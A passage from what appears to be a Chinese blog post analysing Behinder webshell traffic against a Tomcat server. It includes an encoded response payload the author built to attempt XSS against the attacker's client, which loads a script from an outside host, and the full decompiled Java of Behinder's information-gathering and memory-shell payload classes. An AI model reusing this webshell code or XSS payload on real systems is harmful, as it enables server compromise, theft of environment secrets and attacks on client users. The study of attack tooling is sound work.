y5jb25maWcuZmlsZSA9IC9vcHQvYXBhY2hlLXRvbWNhdC9jb25mL2xvZ2dpbmcucHJvcGVydGllczxici8+amF2YS5wcm90b2NvbC5oYW5kbGVyLnBrZ3MgPSBvcmcuYXBhY2hlLmNhdGFsaW5hLndlYnJlc291cmNlczxici8+c3VuLm1hbmFnZW1lbnQuY29tcGlsZXIgPSBIb3RTcG90IDY0LUJpdCBUaWVyZWQgQ29tcGlsZXJzPGJyLz5qYXZhLnJ1bnRpbWUudmVyc2lvbiA9IDExLjAuMjMrOS1wb3N0LURlYmlhbi0xZGViMTB1MTxici8+amF2YS5uYW1pbmcuZmFjdG9yeS5pbml0aWFsID0gb3JnLmFwYWNoZS5uYW1pbmcuamF2YS5qYXZhVVJMQ29udGV4dEZhY3Rvcnk8YnIvPnVzZXIubmFtZSA9IHJvb3Q8YnIvPnBhdGguc2VwYXJhdG9yID0gOjxici8+Y29tbW9uLmxvYWRlciA9ICIke2NhdGFsaW5hLmJhc2V9L2xpYiIsIiR7Y2F0YWxpbmEuYmFzZX0vbGliLyouamFyIiwiJHtjYXRhbGluYS5ob21lfS9saWIiLCIke2NhdGFsaW5hLmhvbWV9L2xpYi8qLmphciI8YnIvPm9zLnZlcnNpb24gPSA0LjE5LjAtNS1hbWQ2NDxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmZpbGUuZW5jb2RpbmcgPSBVVEYtODxici8+amF2YS52bS5uYW1lID0gT3BlbkpESyA2NC1CaXQgU2VydmVyIFZNPGJyLz5vcmcuYXBhY2hlLmNhdGFsaW5hLnNlY3VyaXR5LlNlY3VyaXR5TGlzdGVuZXIuVU1BU0sgPSAwMDI3PGJyLz5qYXZhLnZlbmRvci51cmwuYnVnID0gaHR0cHM6Ly9idWdzLmRlYmlhbi5vcmcvb3Blbmpkay0xMTxici8+amF2YS5pby50bXBkaXIgPSAvb3B0L2FwYWNoZS10b21jYXQvdGVtcDxici8+dG9tY2F0LnV0aWwuc2Nhbi5TdGFuZGFyZEphclNjYW5GaWx0ZXIuamFyc1RvU2NhbiA9IGxvZzRqLXRhZ2xpYiouamFyLGxvZzRqLXdlYiouamFyLGxvZzRqYXZhc2NyaXB0Ki5qYXIsc2xmNGotdGFnbGliKi5qYXI8YnIvPmNhdGFsaW5hLmhvbWUgPSAvb3B0L2FwYWNoZS10b21jYXQ8YnIvPmphdmEudmVyc2lvbiA9IDExLjAuMjM8YnIvPnRvbWNhdC51dGlsLnNjYW4uU3RhbmRhcmRKYXJTY2FuRmlsdGVyLmphcnNUb1NraXAgPSBhbm5vdGF0aW9ucy1hcGkuamFyLGFudC1qdW5pdCouamFyLGFudC1sYXVuY2hlciouamFyLGFudCouamFyLGFzbS0qLmphcixhc3BlY3RqKi5qYXIsYmNlbCouamFyLGJpei5hUXV0ZS5ibmQqLmphcixib290c3RyYXAuamFyLGNhdGFsaW5hLWFudC5qYXIsY2F0YWxpbmEtaGEuamFyLGNhdGFsaW5hLXNzaS5qYXIsY2F0YWxpbmEtc3RvcmVjb25maWcuamFyLGNhdGFsaW5hLXRyaWJlcy5qYXIsY2F0YWxpbmEuamFyLGNnbGliLSouamFyLGNvYmVydHVyYS0qLmphcixjb21tb25zLWJlYW51dGlscyouamFyLGNvbW1vbnMtY29kZWMqLmphcixjb21tb25zLWNvbGxlY3Rpb25zKi5qYXIsY29tbW9ucy1jb21wcmVzcyouamFyLGNvbW1vbnMtZGFlbW9uLmphcixjb21tb25zLWRiY3AqLmphcixjb21tb25zLWRpZ2VzdGVyKi5qYXIsY29tbW9ucy1maWxldXBsb2FkKi5qYXIsY29tbW9ucy1odHRwY2xpZW50Ki5qYXIsY29tbW9ucy1pbyouamFyLGNvbW1vbnMtbGFuZyouamFyLGNvbW1vbnMtbG9nZ2luZyouamFyLGNvbW1vbnMtbWF0aCouamFyLGNvbW1vbnMtcG9vbCouamFyLGRlcmJ5LSouamFyLGRvbTRqLSouamFyLGVhc3ltb2NrLSouamFyLGVjai0qLmphcixlbC1hcGkuamFyLGdlcm9uaW1vLXNwZWMtamF4cnBjKi5qYXIsaDIqLmphcixoYS1hcGktKi5qYXIsaGFtY3Jlc3QtKi5qYXIsaGliZXJuYXRlKi5qYXIsaHR0cGNsaWVudCouamFyLGljdTRqLSouamFyLGphc3Blci1lbC5qYXIsamFzcGVyLmphcixqYXNwaWMtYXBpLmphcixqYXhiLSouamFyLGpheGVuLSouamFyLGpheHdzLXJ0LSouamFyLGpkb20tKi5qYXIsamV0dHktKi5qYXIsam14LXRvb2xzLmphcixqbXguamFyLGpzcC1hcGkuamFyLGpzdGwuamFyLGp0YSouamFyLGp1bml0LSouamFyLGp1bml0Lmphcixsb2c0aiouamFyLG1haWwqLmphcixvYmplbmVzaXMtKi5qYXIsb3JhY2xlcGtpLmphcixvcmcuaGFtY3Jlc3QuY29yZV8qLmphcixvcmcuanVuaXRfKi5qYXIsb3JvLSouamFyLHNlcnZsZXQtYXBpLSouamFyLHNlcnZsZXQtYXBpLmphcixzbGY0aiouamFyLHRhZ2xpYnMtc3RhbmRhcmQtc3BlYy0qLmphcix0YWdzb3VwLSouamFyLHRvbWNhdC1hcGkuamFyLHRvbWNhdC1jb3lvdGUuamFyLHRvbWNhdC1kYmNwLmphcix0b21jYXQtaTE4bi0qLmphcix0b21jYXQtamRiYy5qYXIsdG9tY2F0LWpuaS5qYXIsdG9tY2F0LWp1bGktYWRhcHRlcnMuamFyLHRvbWNhdC1qdWxpLmphcix0b21jYXQtdXRpbC1zY2FuLmphcix0b21jYXQtdXRpbC5qYXIsdG9tY2F0LXdlYnNvY2tldC5qYXIsdG9vbHMuamFyLHVuYm91bmRpZC1sZGFwc2RrLSouamFyLHdlYnNvY2tldC1hcGkuamFyLHdzZGw0aiouamFyLHhlcmNlc0ltcGwuamFyLHhtbC1hcGlzLmphcix4bWxQYXJzZXJBUElzLSouamFyLHhtbFBhcnNlckFQSXMuamFyLHhvbS0qLmphcjxici8+dXNlci5kaXIgPSAvb3B0L2FwYWNoZS10b21jYXQvYmluPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEudm0uc3BlY2lmaWNhdGlvbi5uYW1lID0gSmF2YSBWaXJ0dWFsIE1hY2hpbmUgU3BlY2lmaWNhdGlvbjxici8+amF2YS5hd3QucHJpbnRlcmpvYiA9IHN1bi5wcmludC5QU1ByaW50ZXJKb2I8YnIvPnN1bi5vcy5wYXRjaC5sZXZlbCA9IHVua25vd248YnIvPmNhdGFsaW5hLmJhc2UgPSAvb3B0L2FwYWNoZS10b21jYXQ8YnIvPnNoYXJlZC5sb2FkZXIgPSA8YnIvPmphdmEudXRpbC5sb2dnaW5nLm1hbmFnZXIgPSBvcmcuYXBhY2hlLmp1bGkuQ2xhc3NMb2FkZXJMb2dNYW5hZ2VyPGJyLz5qYXZhLmxpYnJhcnkucGF0aCA9IC91c3IvamF2YS9wYWNrYWdlcy9saWI6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9qbmk6L2xpYi94ODZfNjQtbGludXgtZ251Oi91c3IvbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIvam5pOi9saWI6L3Vzci9saWI8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGUsIHNoYXJpbmc8YnIvPmphdmEudmVuZG9yID0gRGViaWFuPGJyLz5qYXZhLnZtLnZlcnNpb24gPSAxMS4wLjIzKzktcG9zdC1EZWJpYW4tMWRlYjEwdTE8YnIvPmphdmEuc3BlY2lmaWNhdGlvbi5tYWludGVuYW5jZS52ZXJzaW9uID0gMjxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz50b21jYXQudXRpbC5idWYuU3RyaW5nQ2FjaGUuYnl0ZS5lbmFibGVkID0gdHJ1ZTxici8+amF2YS5jbGFzcy52ZXJzaW9uID0gNTUuMDxici8+"}
试了一下不能xss
只能显示图片,如果能绕过就好了:
payload
{"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMExqRTVMakF0TlMxaGJXUTJOR0Z0WkRZMCIsImRyaXZlTGlzdCI6Ikx6cz0iLCJsb2NhbElwIjoiTVRBMExqRTJNQzR4T0M0eU1ETT0iLCJjdXJyZW50UGF0aCI6IkwyOXdkQzloY0dGamFHVXRkRzl0WTJGMEwySnBiZz09IiwiYXJjaCI6IllXMWtOalE9IiwiYmFzaWNJbmZvIjoiYzJJZ1NHRmphMlZ5UEM5aWNqNUtZWFpoT2lBOGMyTnlhWEIwUG1Gc1pYSjBLREVwUEM5elkzSnBjSFErUEM5aWNqNDhhVzFuSUhOeVl6MTRJR2xrUFdSdFJubEpSMFU1V2tjNWFtUlhNV3hpYmxGMVdUTktiRmxZVW14U1YzaHNZbGRXZFdSRFoybGpNazU1WVZoQ01FbHBhemRaVXpWNlkyMU5PVWx0YURCa1NFSjZUMms0ZG1SWGIzVlpNbXQyVFZST2VrbHFkR3RpTWs0eFlsZFdkV1JETldsaU1sSTFURzFHZDJOSFZuVmFSVTV2WVZkNGEwdEhSWEJQZHowOUlHOXVaWEp5YjNJOVpYWmhiQ2hoZEc5aUtIUm9hWE11YVdRcEtUNDhMMkp5UGp3dlluSStQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQWE05WTNKbFlYUmxSV3hsYldWdWRDZ25jMk55YVhCMEp5azdZbTlrZVM1aGNIQmxibVJEYUdsc1pDaHpLVHR6TG5OeVl6MG5MeTkxYWk1amFTOHhNM01uT3o0OEwySnlQanhwYldjZ2MzSmpQWGdnYVdROVpHMUdlVWxIUlRsYVJ6bHFaRmN4YkdKdVVYVlpNMHBzV1ZoU2JGSlhlR3hpVjFaMVpFTm5hV015VG5saFdFSXdTV2xyTjFsVE5YcGpiVTA1U1cxb01HUklRbnBQYVRoMlpGZHZkVmt5YTNaTlZFNTZTV3AwYTJJeVRqRmlWMVoxWkVNMWFXSXlValZNYlVaM1kwZFdkVnBGVG05aFYzaHJTMGRGY0U5M1BUMGdiMjVsY25KdmNqMWxkbUZzS0dGMGIySW9kR2hwY3k1cFpDa3BQand2WW5JK1BHbHRaeUJ6Y21NOUlpSWdiMjVsY25KdmNqMGlaRzlqZFcxbGJuUXVkM0pwZEdVb1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTZzJNQ3d4TVRVc05qY3NPRElzTVRBMUxEZ3dMREV4Tml3ek1pd3hNVFVzT0RJc05qY3NOakVzTkRjc05EY3NNVEUzTERFd05pdzBOaXc1T1N3eE1EVXNORGNzTkRrc05URXNNVEUxTERZeUxEWXdMRFEzTERFeE5TdzJOeXd4TVRRc056TXNNVEV5TERnMExEWXlLU2tpUGc9PSJ9","status":"c3VjY2Vzcw=="}
回到主题:
来看看是咋触发回显信息的:
客户端发了这样一个payload:逆向后:
package org.qjoap.gwjg;
import java.io.File;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
/* compiled from: BasicInfo.java */
/* loaded from: getinfo.class */
public class Zfrhsy {
public static String whatever;
private Object Request;
private Object Response;
private Object Session;
private byte[] Encrypt(byte[] bArr) throws Exception {
byte[] bArr2;
for (int i = 0; i < bArr.length; i++) {
bArr[i] = (byte) (bArr[i] ^ "e45e329feb5d925b".getBytes()[(i + 1) & 15]);
}
try {
Class<?> cls = Class.forName("java.util.Base64");
Object invoke = cls.getMethod("getEncoder", null).invoke(cls, null);
bArr2 = (byte[]) invoke.getClass().getMethod("encode", byte[].class).invoke(invoke, bArr);
} catch (Throwable th) {
Object newInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
bArr2 = ((String) newInstance.getClass().getMethod("encode", byte[].class).invoke(newInstance, bArr)).replace("\n", "").replace("\r", "").getBytes();
}
return bArr2;
}
public Zfrhsy() {
whatever = "";
whatever += "n0B4W963oHzo1TZUXLsHxevT823jG2xVRKZePxZ93EiDNCQUgrhHjPAtpYf2SDX8NzFIIE7UIXZtinCLrrS1MPpXEZKRXK9xsAw8Zr9z9YaJUETafZQ8FNe4f3RaL5UKlfyr7NrvE96vywu4PVT0PQNLzkvsBp13rc9Co0S2keeribyTFpFwYdVyQvXAJdggDdDHVhyq4SkpfkntCvdYTRewNpKqOSpjQepkeVrjFrIUrFF5qATYKtbYegdE4XFexw8FcH0V0RtESBo6TAP5KcVUinKORS93t1AsJYK3w4u7MDYtY9m6VcUHziBOhM1Y9vvSINoEkoP6VdphfFv2oOZI0wNxyWtaDk5tKZo4OeAr3qsOi2AqB93ISFjDu9wkCWDEZY0iQd9sszJFKyXT4NUk20rYzIrGmzMrWRzyN97EKjfDWlLGbTYsBMlR7tavu2IUo3gPzJpvHbdilYXksUoKSJZSermtQV4w1aqWNWhV7OPQEB9IJfoJI52UGjifdi0nxvZydg994Fg2uiTW4pnm4vhhyICYZ9IxcKBEKALf2eiUW0IAtLEYNJYvYxC7Py9OYr7Q6MQ7i0xmKAwY6e5L4xJVryL8feh44vbq4bf1mwZi4gXIHiTIKBbMngki6LtK1pMT7CCuJOsc5JSagaKSl7wJbsDKXzzLrFxCSql1wjeMff1qU3Rj8NsfxtpmDoL7V";
}
public boolean equals(Object obj) {
Map<String, String> result = new HashMap<>();
try {
fillContext(obj);
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
Map<String, String> env = System.getenv();
for (String name : env.keySet()) {
basicInfo.append(name + "=" + env.get(name) + "<br/>");
}
basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
for (Map.Entry<Object, Object> entry : System.getProperties().entrySet()) {
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
}
String currentPath = new File("").getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
driveList = driveList + roots[i].getPath() + ";";
}
Map<String, String> entity = new HashMap<>();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"));
entity.put("arch", System.getProperty("os.arch"));
entity.put("localIp", getInnerIp());
result.put("status", "success");
result.put("msg", buildJson(entity, true));
try {
Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so.getClass().getMethod("write", byte[].class).invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
return true;
} catch (Exception e) {
return true;
}
} catch (Exception e2) {
try {
Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so2.getClass().getMethod("write", byte[].class).invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
return true;
} catch (Exception e3) {
return true;
}
} catch (Throwable th) {
try {
Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so3.getClass().getMethod("write", byte[].class).invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
} catch (Exception e4) {
}
throw th;
}
}
private String getInnerIp() {
String ips = "";
try {
Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();
while (netInterfaces.hasMoreElements()) {
Enumeration<InetAddress> addresses = netInterfaces.nextElement().getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress ip = addresses.nextElement();
if (ip != null && (ip instanceof Inet4Address)) {
ips = ips + ip.getHostAddress() + " ";
}
}
}
} catch (Exception e) {
}
return ips.replace("127.0.0.1", "").trim();
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = entity.get(key).toString();
if (encode) {
if (version.compareTo("1.9") >= 0) {
getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
getClass();
Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result;
System.getProperty("java.version");
try {
getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable th) {
getClass();
Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
result = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data)).replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
int magicNum = Integer.parseInt(this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString().substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; i++) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
}
### 内存马:
反编译:
package net.vcmcde.lhl.cxnmth;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
/* compiled from: Echo.java */
/* loaded from: memshell.class */
public class Zfyeqxvfm {
public static String content;
public static String payloadBody;
private Object Request;
private Object Response;
private Object Session;
private byte[] Encrypt(byte[] bArr) throws Exception {
byte[] bArr2;
for (int i = 0; i < bArr.length; i++) {
bArr[i] = (byte) (bArr[i] ^ "e45e329feb5d925b".getBytes()[(i + 1) & 15]);
}
try {
Class<?> cls = Class.forName("java.util.Base64");
Object invoke = cls.getMethod("getEncoder", null).invoke(cls, null);
bArr2 = (byte[]) invoke.getClass().getMethod("encode", byte[].class).invoke(invoke, bArr);
} catch (Throwable th) {
Object newInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
bArr2 = ((String) newInstance.getClass().getMethod("encode", byte[].class).invoke(newInstance, bArr)).replace("\n", "").replace("\r", "").getBytes();
}
return bArr2;
}
public Zfyeqxvfm() {
content = "";
content += "GExexzPl80ZtQoueJNQleZTTcEmP6BMy5nB1Mhw4bB66TgcJKbVmiWdjJMNWQouvcz1dUx153g542R2lZoLyxLvkLT14xXmuQ6l5x3Eg4xykoqHGSiQoxLhtUMeo5avrh5Ql09sbqt6sw3XRVsSc4ElI4rO1hORo5nlsbR6LTda3pPyPwsKm76l1hvbWngSIo0VtjjolvJgaqRT23gvhxpw4ctruuon9ULoN8zixtwOcKsWgqkhGI1PgDMVvcsDB5mWjPjknXczbGx3xvSMc0b23VFa1Q184VMwHhenXoBE8sC77mtBQSrpt6R6rMngnAtbN5amPGvBaWcJRZNTm0r3Z8WPwJuNwWldo1VNOuyXvR9nlap6y63hxKH1HYIiB61sbf3j0Kf98PXJHLYPNFphZsbsaoV8HcBjJGWo1pY5AUUeUXn12h0PIau4qIrXCNBB1x7CW24mbdXwS698g9yzs0yQwtA1IJSEFSYulJWCCIC2ct4ww5f4FzqDKOtrdtdVWZrEIff7E8GWiL36kxpJICIpXH6s236Jvp0tgZ8VzmOEE0RVn8Q0P3zUG";
}
public boolean equals(Object obj) {
Map<String, String> result;
try {
result = new LinkedHashMap<>();
try {
fillContext(obj);
result.put("status", "success");
result.put("msg", content);
try {
Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so.getClass().getMethod("write", byte[].class).invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
return true;
} catch (Exception e) {
e.printStackTrace();
return true;
}
} catch (Exception e2) {
result.put("msg", e2.getMessage());
result.put("status", "success");
try {
Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so2.getClass().getMethod("write", byte[].class).invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
return true;
} catch (Exception e3) {
e3.printStackTrace();
return true;
}
}
} catch (Throwable th) {
try {
Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so3.getClass().getMethod("write", byte[].class).invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
} catch (Exception e4) {
e4.printStackTrace();
}
throw th;
}
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = entity.get(key);
if (encode) {
value = base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result;
System.getProperty("java.version");
try {
getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable th) {
getClass();
Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
result = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data)).replace("\n", "").replace("\r", "");
}
return result;
}
private byte[] getMagic() throws Exception {
int magicNum = Integer.parseInt(this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString().substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; i++) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
}
先到这里,等我学会java再把冰蝎写完